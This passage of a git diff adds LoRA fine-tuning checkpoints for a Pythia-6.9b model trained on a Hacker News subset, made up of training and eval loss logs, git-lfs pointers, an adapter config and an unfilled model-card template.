"eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.89898591502336e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..8755ffa1194126eda9d431df240d59c06697f3ef --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:33804750a38a7df660d93e8f200525f5f1027211ca334f3502e364619a680eea +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..4f51c0ed862640c68d4927226346e073980e3e8d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:37e829493adde3c4b0bb38d27a8d6fb02c76aec143e5f1989ade594b180dc143 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..792417d4c800bc4c8f7eb21d5421678309a6165b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d7c0e313f3d6f9e1adc7603b9ffa6f0ab3438f71ce0c71bd9a788485d02b981c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..8bd8e28f2af2a751646ea36889854c5eda0b2292 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1511804f46c0ca65fb38b3cc2eecf2ff9872408b4f80615834923e731745685a +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..086b43aba80be98bb881c12ec627fdf099f42bad --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/trainer_state.json @@ -0,0 +1,588 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.933333333333334, + "eval_steps": 10, + "global_step": 370, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.06284663488512e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/training_args.bin 